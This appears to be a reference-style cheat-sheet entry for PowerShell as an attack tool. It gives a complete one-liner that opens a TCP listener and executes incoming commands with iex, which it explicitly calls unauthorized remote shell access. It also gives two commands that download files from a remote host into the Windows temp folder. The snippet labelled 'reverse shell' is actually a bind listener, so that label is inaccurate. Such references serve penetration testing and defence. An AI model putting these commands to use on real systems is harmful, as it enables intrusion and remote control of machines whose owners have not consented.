.. / powershell

• Reverse shell
• File download

Reverse shell

It can send back a shell to an attacker giving unauthorized remote shell access.

• Powershell reverse shell [Without obfuscation or encryption]

  powershell -c "$listener = New-Object System.Net.Sockets.TcpListener('0.0.0.0',443);$listener.start();$client = $listener.AcceptTcpClient();$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close();$listener.Stop()"

File download

A binary with download capabilities.

• Download files using powershell works on any version

  (New-Object System.Net.WebClient).DownloadFile("https://example.com/archive.zip", "C:\Windows\Temp\archive.zip")

• Download files using powershell v 4.0 or 5.0

  Invoke-WebRequest "https://example.com/archive.zip" -OutFile "C:\Windows\Temp\archive.zip"